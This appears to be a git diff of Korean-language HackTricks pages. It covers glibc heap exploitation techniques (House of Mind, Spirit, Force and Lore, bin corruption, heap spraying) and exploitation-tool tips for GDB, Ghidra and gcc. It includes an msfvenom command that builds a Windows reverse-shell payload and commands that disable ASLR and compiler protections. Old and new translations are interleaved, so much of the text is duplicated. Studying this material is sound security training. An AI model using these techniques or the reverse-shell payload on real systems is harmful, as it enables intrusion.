이렇게 하면 "fb"에는 GOT 내의 함수 주소가 들어가게 되며, 이 주소에 덮어쓸 대상의 주소가 들어갑니다. 이를 위해는 arena가 dtors 주소 근처에 있어야 합니다. 구체적으로 av->max\_fast가 덮어쓸 주소에 있어야 합니다. 이렇게 하면 “fb”에 GOT의 함수 주소가 들어가고, 이 주소에 덮어쓴 조각의 주소가 들어갑니다. 이를 위해서는 arena가 dtors 주소 근처에 있어야 합니다. 더 정확히는 av->max\_fast가 덮어쓸 주소에 있어야 합니다.
The House of Mind에서 우리가 av의 위치를 제어할 수 있다는 것을 알게 되었기 때문에, size 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE를 넣으면 fastbin\_index()가 fastbins\[-1]을 반환하게 되고 이는 av->max\_fast를 가리킵니다. 마음의 집에서 av의 위치를 제어할 수 있음을 알았습니다.
여기서 av->max\_fast가 덮어쓰여야 합니다(가리키는 것이 아니라 덮어쓰여야 합니다). 따라서 size 필드에 8 + NON\_MAIN\_ARENA + PREV\_INUSE를 넣으면 fastbin\_index()는 fastbins\[-1]을 반환하여 av->max\_fast를 가리킵니다.
또한, 해제된 연속 조각이 8보다 커야 합니다. 해제된 조각의 크기가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어가므로, 처음에는 nops로 이어지는 jmp를 넣어야 합니다). 이 경우 av->max\_fast는 덮어쓸 주소가 됩니다 (가리키는 것이 아니라, 그 위치가 덮어씌워집니다).
또한, 이 가짜 조각은 av->system\_mem보다 작아야 합니다. av->system\_mem은 해당 위치에서 1848바이트 떨어져 있습니다. 또한 해제된 조각의 인접 조각이 8보다 커야 합니다 -> 우리가 해제된 조각의 size가 8이라고 했으므로, 이 가짜 조각에는 8보다 큰 size만 넣으면 됩니다 (또한 shellcode가 해제된 조각에 들어가므로, 처음에 nops로 떨어지는 jmp를 넣어야 합니다).
\_DTOR\_END\_의 널 값과 GOT의 적은 주소 때문에 이러한 섹션의 어떤 주소도 덮어쓰기에 적합하지 않으므로, 힙 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴봅니다. 또한, 이 가짜 조각은 av->system\_mem보다 작아야 합니다. av->system\_mem은 1848바이트 더 멀리 있습니다.
다른 공격 방법은 **av**를 스택으로 리다이렉션하는 것입니다. \_\_DTOR\_END\_의 null로 인해 및 GOT의 적은 주소로 인해, 이러한 섹션의 주소는 덮어쓰기에 적합하지 않으므로, 스택을 공격하기 위해 fastbin을 적용하는 방법을 살펴보겠습니다.
size를 8이 아닌 16으로 수정하면 fastbin\_index()가 fastbins\[0]을 반환하고 이를 사용하여 스택을 덮어쓸 수 있습니다. 또 다른 공격 방법은 **av**를 스택으로 리디렉션하는 것입니다.
이를 위해 스택에 canary나 이상한 값이 없어야 하며, 실제로 4바이트 널 + EBP + RET 위치에 있어야 합니다. size를 8 대신 16으로 수정하면 fastbin\_index()는 fastbins\[0]을 반환하고, 이를 사용하여 스택을 덮어쓸 수 있습니다.
4바이트 널은 **av**가 이 위치를 가리킬 것이고, **av**의 첫 번째 요소는 0이어야 합니다. 이 경우 canary나 스택에 이상한 값이 없어야 하며, 실제로는 다음과 같은 상태여야 합니다: 4바이트 null + EBP + RET
**av->max\_fast**는 EBP가 되며, 이는 제한을 우회하는 데 사용될 값입니다. 4바이트 null은 **av**가 이 주소에 있어야 하며, **av**의 첫 번째 요소는 0이어야 하는 뮤텍스입니다.
**av->fastbins\[0]**에는 **p**의 주소가 덮어쓰이고 RET이 되어 쉘코드로 이동합니다. **av->max\_fast**는 EBP가 되며, 이는 제약을 우회하는 데 유용한 값이 됩니다.
또한, **av->system\_mem**(스택 위치에서 1484바이트 위)에는 우리가 수행하는 확인을 우회할 수 있는 충분한 쓰레기가 있어야 합니다. **av->fastbins\[0]**는 **p**의 주소로 덮어쓰여지며, RET가 되어 shellcode로 점프하게 됩니다.
또한, 해제된 연속 조각이 8보다 커야 합니다. 해제된 조각의 크기가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 크기를 넣어야 합니다(또한 쉘코드가 해제된 조각에 들어가므로, 처음에는 새로운 가짜 조각의 size 필드 뒤에 나오는 nops로 이어지는 jmp를 넣어야 합니다). 또한, **av->system\_mem** (스택 위치에서 1484바이트 위)에는 제약을 우회할 수 있는 많은 쓰레기가 있습니다.
**The House of Spirit** 또한 해제된 조각의 인접 조각이 8보다 커야 합니다 -> 우리가 해제된 조각의 size가 16이라고 했으므로, 이 가짜 조각에는 8보다 큰 size만 넣으면 됩니다 (또한 shellcode가 해제된 조각에 들어가므로, 처음에 nops로 떨어지는 jmp를 넣어야 합니다).
이 경우에는 공격자가 조작 가능한 malloc 포인터(예: 오버플로우 가능한 변수 아래 스택에 있는 포인터)를 가지고 싶습니다. **정신의 집**
따라서 이 포인터를 원하는 곳으로 지시할 수 있습니다. 그러나 어디든지 가능한 것은 아닙니다. 가짜 조각의 크기는 av->max\_fast보다 작아야 하며, 더 구체적으로는 미래의 malloc() 호출에 요청된 크기에 8을 더한 것과 동일해야 합니다. 따라서, 이 취약한 포인터 뒤에 malloc(40)이 호출된다는 것을 알고 있다면, 가짜 조각의 크기는 48과 같아야 합니다. 이 경우 공격자가 변경할 수 있는 malloc에 대한 포인터를 얻는 것이 목표입니다 (예: 포인터가 변수에 대한 가능한 오버플로우 아래 스택에 있을 수 있습니다).
예를 들어 프로그램이 사용자에게 숫자를 물어보는 경우 48을 입력하고 malloc 포인터를 수정 가능한 다음 4바이트로 지시할 수 있습니다(운이 좋다면 EBP에 속할 수 있으므로, 48이 뒤에 남게 됩니다). 또한, ptr-4+48 주소는 여러 조건을 충족해야 합니다(이 경우 ptr=EBP), 즉 8 < ptr-4+48 < av->system\_mem 여야 합니다. 이렇게 하면 이 포인터가 원하는 곳을 가리키도록 할 수 있습니다. 그러나 모든 위치가 유효한 것은 아니며, 가짜 조각의 크기는 av->max\_fast보다 작아야 하며, 더 구체적으로는 향후 malloc() 호출에서 요청된 크기 + 8과 같아야 합니다. 따라서 이 취약한 포인터 뒤에 malloc(40)을 호출할 것이라고 알고 있다면, 가짜 조각의 크기는 48이어야 합니다.
이 조건이 충족되면, 우리가 말한 malloc(40)을 호출할 때 EBP 주소가 할당되며, 공격자가 이 malloc에 쓸 내용을 제어할 수 있다면 EBP와 EIP를 원하는 주소로 덮어쓸 수 있습니다. 예를 들어 프로그램이 사용자에게 숫자를 요청한다면 48을 입력하여 변경 가능한 malloc 포인터를 다음 4바이트(운 좋게도 EBP에 속할 수 있음)로 가리키게 할 수 있습니다. 이렇게 하면 48이 뒤에 남아 마치 헤더 size처럼 보이게 됩니다. 또한 ptr-4+48 주소는 여러 조건을 충족해야 합니다 (이 경우 ptr=EBP), 즉, 8 < ptr-4+48 < av->system\_mem.
것은 free()가 스택의 EBP를 가리키는 주소에 새로운 malloc()에 대한 완벽한 크기의 조각이 있다는 것을 저장하기 때문이라고 생각합니다. 조건이 충족되면, 다음 malloc 호출이 malloc(40)일 때, EBP 주소가 할당됩니다. 공격자가 이 malloc에 쓰는 것을 제어할 수 있다면 EBP와 EIP를 원하는 주소로 덮어쓸 수 있습니다.
**The House of Force** 이것은 free()가 스택의 EBP 주소에 있는 조각이 새로 요청된 malloc()에 적합한 크기를 가진 조각으로 기록되도록 하기 위해 그렇게 할 것입니다.
다음이 필요합니다: **힘의 집**
* wilderness를 덮어쓸 수 있는 조각의 오버플로우 필요한 것:
* wilderness를 덮어쓸 수 있는 조각에 대한 오버플로우
* 사용자가 정의한 크기로 malloc() 호출 * 사용자가 정의한 크기로 malloc() 호출
* 사용자가 정의한 데이터로 malloc() 호출 * 사용자가 정의할 수 있는 malloc() 호출
첫 번째로 wilderness 조각의 크기를 매우 큰 값(0xffffffff)으로 덮어씁니다. 따라서 충분히 큰 메모리 요청은 힙을 확장할 필요 없이 \_int\_malloc()에서 처리됩니다. 먼저 wilderness 조각의 size를 매우 큰 값(0xffffffff)으로 덮어씌웁니다. 이렇게 하면 충분히 큰 메모리 요청은 \_int\_malloc()에서 처리되며, 힙을 확장할 필요가 없습니다.
두 번째로, av->top을 공격자가 제어하는 메모리 영역(예: 스택)을 가리키도록 변경합니다. av->top에는 \&EIP - 8이 들어갑니다. 두 번째로 av->top을 공격자가 제어할 수 있는 메모리 영역(예: 스택)을 가리키도록 변경합니다. av->top에는 \&EIP - 8이 들어갑니다.
공격자가 제어하는 메모리 영역을 가리키도록 av->top을 덮어씁니다: 우리는 av->top을 공격자가 제어할 수 있는 메모리 영역을 가리키도록 덮어써야 합니다:
victim = av->top; victim = av->top;
@ -473,85 +459,100 @@ remainder = chunck\_at\_offset(victim, nb);
av->top = remainder; av->top = remainder;
victim은 현재 wilderness 조각의 주소(av->top)를 수집하고, remainder는 해당 주소와 malloc()에 의해 요청된 바이트 수를 더한 값입니다. 따라서, \&EIP-8이 0xbffff224에 있고 av->top에 0x080c2788이 포함되어 있다면, 다음 malloc()에 av->top이 \&EIP-8을 가리키도록 제어된 malloc()에 예약해야 하는 바이트 수는 다음과 같습니다: Victim은 현재 wilderness 조각의 주소(현재 av->top)의 값을 가져오고, remainder는 그 주소에 malloc() 요청된 바이트 수를 더한 것입니다. 따라서 \&EIP-8이 0xbffff224에 있고 av->top이 0x080c2788에 있다면, 다음 malloc()에서 av->top이 $EIP-8을 가리키도록 하려면 malloc에서 요청해야 할 크기는:
0xbffff224 - 0x080c2788 = 3086207644. 0xbffff224 - 0x080c2788 = 3086207644.
이렇게 하면 변경된 값을 av->top에 저장하고 다음 malloc이 EIP를 가리키고 덮어쓸 수 있습니다. 이렇게 하면 av->top에 변경된 값이 저장되고, 다음 malloc은 EIP를 가리키게 되어 이를 덮어쓸 수 있습니다.
새로운 wilderness 조각의 크기가 마지막 malloc()에 의해 요청된 메모리보다 커야 합니다. wilderness가 \&EIP-8을 가리키고 있으면, 크기는 정확히 스택의 EBP 필드에 위치합니다. 중요한 것은 새 wilderness 조각의 size가 마지막 malloc() 요청보다 커야 한다는 것입니다. 즉, wilderness가 \&EIP-8을 가리키고 있다면, size는 스택의 EBP 필드에 정확히 위치하게 됩니다.
**The House of Lore** **전설의 집**
**SmallBin 손상** **SmallBin 손상**
해제된 조각은 크기에 따라 bin에 넣습니다. 그러나 unsorted bins에 먼저 저장됩니다. 조각이 해제되면 즉시 해당 bin에 넣는 대신 unsorted bins에 남아 있습니다. 그런 다음 새로운 조각을 예약하고 이전에 해제된 조각을 사용할 수 있는 경우 반환하지만 더 큰 조각을 예약하면 unsorted bins에 있던 조각이 해당 적절한 bin에 들어갑니다. 해제된 조각은 크기에 따라 bin에 삽입됩니다. 그러나 삽입되기 전에 unsorted bins에 저장됩니다. 조각이 해제되면 즉시 bin에 들어가지 않고 unsorted bins에 남아 있습니다. 그 후, 새 조각이 예약되고 이전에 해제된 조각이 유용하다면 반환되지만, 더 큰 조각이 예약되면 unsorted bins의 해제된 조각이 적절한 bin에 들어갑니다.
취약한 코드에 도달하려면 메모리 요청이 av->max\_fast(보통 72)보다 크고 MIN\_LARGE\_SIZE(512)보다 작아야 합니다. 취약한 코드를 도달하기 위해 메모리 요청은 av->max\_fast(보통 72)보다 커야 하며, MIN\_LARGE\_SIZE(512)보다 작아야 합니다.
만약 bin에 요청된 크기에 적합한 조각이 있다면 그것을 unlink한 후 반환합니다:
bin에 요청된 크기에 적합한 조각이 있다면, 그 조각이 해제된 후에 반환됩니다:
bck = victim->bk; 이전 조각을 가리키며, 우리가 변경할 수 있는 유일한 정보입니다. bck = victim->bk; 이전 조각을 가리키며, 우리가 변경할 수 있는 유일한 정보입니다.
bin->bk = bck; 뒤에서 두 번째 조각이 마지막이 되며, bck가 스택을 가리키고 있다면 다음 할당된 조각에 이 주소가 제공됩니다. bin->bk = bck; 이전 조각이 마지막 조각이 되며, bck가 스택을 가리키면 다음 예약된 조각에 이 주소가 주어집니다.
bck->fd = bin; 이를 통해 리스트가 닫히고 이것이 bin을 가리키게 됩니다. bck->fd = bin; 이 리스트를 닫아 bin을 가리키게 합니다.
필요한 것: 필요한 것:
두 개의 malloc을 할당해야 합니다. 두 번째 조각이 해제되고 bin에 들어간 후에 첫 번째 조각에 오버플로우를 할 수 있어야 합니다 (즉, 오버플로우하기 전에 두 번째 조각보다 큰 malloc을 할당해야 합니다). 두 개의 malloc을 예약하여 첫 번째가 오버플로우된 후 두 번째가 해제되고 bin에 들어가도록 합니다 (즉, 두 번째 조각보다 큰 malloc을 예약한 후 오버플로우를 수행해야 합니다).
공격자가 제어할 수 있는 주소로 공격자가 선택한 주소를 가리키는 malloc이 필요합니다. 공격자가 선택한 주소를 가진 malloc은 공격자가 제어해야 합니다.
목표는 다음과 같습니다. 해제된 bin 리스트의 아래에 이미 해제된 조각이 있는 힙에 오버플로우를 할 수 있다면, 그 조각의 bk 포인터를 변경할 수 있습니다. bk 포인터를 변경하고 해당 조각이 bin 리스트의 첫 번째가 되고 예약되면, bin은 속아서 bin 리스트의 마지막 조각이 (다음으로 제공될) 우리가 설정한 가짜 주소에 있다고 믿게 됩니다 (예: 스택 또는 GOT). 따라서 다른 조각을 다시 예약하고 공격자가 권한을 갖고 있다면, 원하는 위치에 조각이 제공되고 거기에 쓸 수 있습니다. 목표는 다음과 같습니다. 만약 우리가 아래에 해제된 조각이 있는 힙에 오버플로우를 수행할 수 있다면, bk 포인터를 변경할 수 있습니다. bk 포인터를 변경하고 이 조각이 bin의 첫 번째가 되면, malloc이 이 조각의 다음 조각이 잘못된 주소에 있다고 믿게 됩니다 (스택이나 GOT 등). 따라서 다른 조각을 다시 예약하면 공격자가 원하는 위치에 조각을 할당받고 그곳에 쓸 수 있습니다.
수정된 조각을 해제한 후에 해제된 조각보다 큰 조각을 다시 예약해야 합니다. 그러면 수정된 조각이 unsorted bins에서 나오고 해당 bin에 들어갈 것입니다. 수정된 조각을 해제한 후에는 해제된 조각보다 큰 조각을 예약해야 하며, 그렇게 하면 수정된 조각이 unsorted bins에서 제거되고 적절한 bin에 들어가게 됩니다.
한 번 bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 원하는 주소를 가리키게 만들어야 합니다. bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 우리가 덮어쓰고자 하는 주소를 가리키도록 합니다.
따라서 bin은 malloc()이 충분히 호출될 때까지 기다려야 하며 수정된 bin을 다시 사용하고 다음 조각이 가짜 주소에 있다고 속이고 그 다음에 우리가 원하는 조각을 얻을 것입니다. 따라서 bin은 malloc()이 충분히 호출되어 수정된 bin이 다시 사용될 때까지 대기해야 하며, 다음 조각이 잘못된 주소에 있다고 믿게 됩니다. 그 후, 우리가 원하는 조각이 제공됩니다.
취약점이 가능한 한 빨리 실행되도록하려면 다음이 이상적입니다: 취약한 조각 예약, 수정될 조각 예약, 해당 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정 (취약점), 취약한 조각과 같은 크기의 조각 예약, 그리고 취약한 조각과 같은 크기의 두 번째 조각을 예약하고 이것이 선택한 주소를 가리키게 합니다. 취약점이 가능한 한 빨리 실행되도록 하려면 이상적인 순서는 다음과 같습니다: 취약한 조각 예약, 수정될 조각 예약, 이 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정(취약점), 취약한 조각과 같은 크기의 조각 예약, 두 번째 조각 예약하여 이 조각이 선택한 주소를 가리키게 합니다.
이 공격을 방어하기 위해 "거짓" 조각이 아닌 것을 확인하는 전형적인 확인이 사용되었습니다: bck->fd가 victim을 가리키는지 확인합니다. 즉, 우리의 경우 스택에 가짜로 가리키는 조각의 fd 포인터가 victim을 가리키는지 확인합니다. 이 보호를 우회하려면 공격자는 어떤 방식으로든 (아마도 스택을 통해) 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보일 것입니다. 이 공격을 방어하기 위해 일반적인 확인이 사용되었습니다. 즉, 조각이 “가짜”가 아닌지 확인합니다: bck->fd가 victim을 가리키고 있는지 확인합니다. 즉, 우리의 경우 스택에서 가리키는 fd* 포인터가 victim을 가리키고 있는지 확인합니다. 이 보호를 우회하기 위해 공격자는 아마도 스택을 통해 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보이게 됩니다.
**Corrupción LargeBin** **LargeBin 손상**
이전과 동일한 요구 사항과 추가 요구 사항이 필요하며, 예약된 조각은 512보다 큰 크기여야 합니다. 이전과 동일한 요구 사항이 필요하며, 추가로 예약된 조각은 512보다 커야 합니다.
이전과 같은 공격이며, bk 포인터를 수정해야 하며 모든 그 malloc() 호출이 필요하지만 수정된 조각의 크기를 수정해야 합니다. 즉, size - nb가 < MINSIZE여합니다. 공격은 이전과 유사하며, bk 포인터를 수정해야 하며, 모든 malloc() 호출이 필요하지만, 수정된 조각의 size를 size - nb가 < MINSIZE가 되도록 수정해합니다.
예를 들어, size를 1552로 설정하여 1552 - 1544 = 8 < MINSIZE가 되도록합니다 (부호 없는 값을 비교하므로 음수가 되면 안됩니다). 예를 들어 size를 1552로 설정하면 1552 - 1544 = 8 < MINSIZE가 됩니다 (뺄셈이 음수가 수는 없습니다. unsigned를 비교하기 때문입니다).
또한 더 복잡하게 만드는 패치가 도입되었습니다. 또한 이를 더욱 복잡하게 만들기 위해 패치가 도입되었습니다.
**Heap Spraying** **힙 스프레이**
기본적으로 가능한 한 많은 힙 메모리를 예약하고 이를 nops로 끝나는 셸코드로 채웁니다. 또한 0x0c를 셜코드로 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 시도하며, 따라서 이 셜코드로 호출될 주소가 덮어쓰여지면 그곳으로 점프합니다. 기본적으로 전략은 가능한 한 많이 예약하여 어떤 포인터가 덮어쓰여지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nops가 있는지 확인하는 것입니다. 기본적으로 가능한 모든 메모리를 예약하고 이를 nops로 채운 후 shellcode로 채우는 것입니다. 또한, 0x0c로 패딩을 사용합니다. 이렇게 하면 0x0c0c0c0c 주소로 점프하려고 시도하며, 이 주소가 덮어쓰여지면 그곳으로 점프하게 됩니다. 기본적으로 전략은 가능한 한 많이 예약하여 포인터가 덮어쓰여지는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nops가 있기를 기대하는 것입니다.
**Heap Feng Shui** **힙 펑 후이**
예약 및 해제를 통해 메모리를 세분화하여 빈 조각 사이에 예약된 조각이 남도록 메모리를 정리하는 것입니다. 오버플로우할 버퍼는 이 중 하나에 위치합니다. 예약 및 해제를 통해 메모리를 조작하여 자유 조각 사이에 예약된 조각이 있도록 합니다. 오버플로우할 버퍼는 이러한 조각 중 하나에 위치하게 됩니다.
## 흥미로운 코스 **objdump -d 실행파일** —> 함수 디스어셈블\
**objdump -d ./프로그램 | grep 함수** —> 함수 주소 가져오기\
**objdump -d -Mintel ./shellcodeout** —> 실제로 우리의 shellcode인지 확인하고 OpCodes를 추출하기 위해\
**objdump -t ./exec | grep varBss** —> 심볼 테이블, 변수 및 함수 주소 추출\
**objdump -TR ./exec | grep exit(func lib)** —> 라이브러리 함수 주소 추출 (GOT)\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> GOT에서 덮어쓸 puts 주소 추출\
**objdump -D ./exec** —> 모든 것을 디스어셈블하여 plt 항목까지\
**objdump -p -/exec**\
**Info functions strncmp —>** gdb에서 함수 정보
## 흥미로운 과정
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io) * [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE) * [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes) * [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
## **참고 자료** ## **참고 문헌**
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html) * [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
{% hint style="success" %}
AWS 해킹 배우고 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우고 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 히어로까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하려면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)에 가입하거나 [텔레그램 그룹](https://t.me/peass)에 가입하거나** 트위터 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요**.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Exploiting Tools # Exploiting Tools
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹을 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
{% endhint %}
## Metasploit ## Metasploit
``` ```
@ -22,7 +23,7 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01 msfelfscan -j esi /opt/fusion/bin/level01
``` ```
### 코드 ### 코드
``` ```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
``` ```
@ -124,22 +125,22 @@ gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176' [+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely [+] Found at offset 184 (little-endian search) likely
``` ```
### 트릭 ### Tricks
#### GDB 동일 주소 #### GDB 동일 주소
디버깅 중에 GDB는 실행될 때 이용되는 이진 파일과 **약간 다른 주소를 가질 수 있습니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행할 수 있습니다: 디버깅 중 GDB는 **실행될 때 바이너리에서 사용되는 주소와 약간 다른 주소를 가집니다.** GDB가 동일한 주소를 가지도록 하려면 다음을 수행하십시오:
* `unset env LINES` * `unset env LINES`
* `unset env COLUMNS` * `unset env COLUMNS`
* `set env _=<경로>` _이진 파일의 절대 경로를 입력하세요_ * `set env _=<path>` _바이너리의 절대 경로를 입력하세요_
* 동일한 절대 경로를 사용하여 이진 파일을 이용 * 동일한 절대 경로를 사용하여 바이너리를 익스플로잇합니다.
* GDB와 이진 파일을 이용할 때 `PWD``OLDPWD`는 동일해야 합니다 * GDB를 사용할 때와 바이너리를 익스플로잇할 때 `PWD``OLDPWD`는 동일해야 합니다.
#### 호출된 함수 찾기 위한 백트레이스 #### 호출된 함수 찾기 위한 백트레이스
**정적으로 링크된 이진 파일**의 경우 모든 함수가 이진 파일에 속하게 됩니다(외부 라이브러리가 아님). 이 경우 **예를 들어 사용자 입력을 요청하는 이진 파일이 따르는 흐름을 식별하는 것이 어려울 수 있습니다.**\ **정적 링크된 바이너리**가 있을 때 모든 함수는 바이너리에 속하며 (외부 라이브러리에는 속하지 않음) 이 경우 **바이너리가 사용자 입력을 요청하는 흐름을 식별하기 어려울 수 있습니다.**\
이 흐름을 쉽게 식별하기 위해 **gdb**를 사용하여 이진 파일을 실행하고 사용자 입력을 요청받을 때까지 실행합니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`** (**백트레이스**) 명령을 사용하여 호출된 함수를 확인할 수 있습니다: 이 흐름**gdb**로 바이너리를 실행하여 입력을 요청할 때까지 쉽게 식별할 수 있습니다. 그런 다음 **CTRL+C**로 중지하고 **`bt`** (**백트레이스**) 명령을 사용하여 호출된 함수를 확인하십시오:
``` ```
gef➤ bt gef➤ bt
#0 0x00000000004498ae in ?? () #0 0x00000000004498ae in ?? ()
@ -150,58 +151,59 @@ gef➤ bt
``` ```
### GDB 서버 ### GDB 서버
`gdbserver --multi 0.0.0.0:23947` (IDA에서는 Linux 머신의 실행 파일의 절대 경로와 Windows 머신의 절대 경로를 입력해야 함) `gdbserver --multi 0.0.0.0:23947` (IDA에서는 Linux 머신의 실행 파일의 절대 경로를 입력해야 하고 Windows 머신에서도 마찬가지입니다)
## Ghidra ## Ghidra
### 스택 오프셋 찾기 ### 스택 오프셋 찾기
**Ghidra**는 **로컬 변수의 위치 정보 덕분에 버퍼 오버플로우에 대한 **오프셋**을 찾는 데 매우 유용합니다.**\ **Ghidra**는 **로컬 변수의 위치에 대한 정보 덕분에 **버퍼 오버플로우**의 **오프셋**을 찾는 데 매우 유용합니다.**\
예를 들어, 아래 예시에서 `local_bc`에서의 버퍼 플로우는 `0xbc`의 오프셋이 필요하다는 것을 나타냅니다. 또한, `local_10`이 캐너리 쿠키인 경우 `local_bc`에서 덮어쓰기 위한 오프셋은 `0xac`니다.\ 예를 들어, 아래 예제에서 `local_bc`의 버퍼 흐름은 `0xbc`의 오프셋이 필요함을 나타냅니다. 또한, `local_10`이 카나리 쿠키인 경우, `local_bc`에서 이를 덮어쓰려면 `0xac`의 오프셋이 필요함을 나타냅니다.\
_RIP가 저장되는 첫 번째 0x08은 RBP에 속합니다._ _저장된 RIP의 첫 번째 0x08은 RBP에 속합니다._
![](<../../.gitbook/assets/image (616).png>) ![](<../../.gitbook/assets/image (616).png>)
## GCC ## GCC
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 보호 기능 없이 컴파일하기\ **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 보호 없이 컴파일\
**-o** --> 출력\ **-o** --> 출력\
**-g** --> 코드 저장 (GDB에서 볼 수 있음)\ **-g** --> 코드 저장 (GDB가 이를 볼 수 있음)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux에서 ASLR 비활성화 **echo 0 > /proc/sys/kernel/randomize\_va\_space** --> Linux에서 ASLR 비활성화
**쉘코드를 컴파일하는 방법:**\ **쉘코드를 컴파일하려면:**\
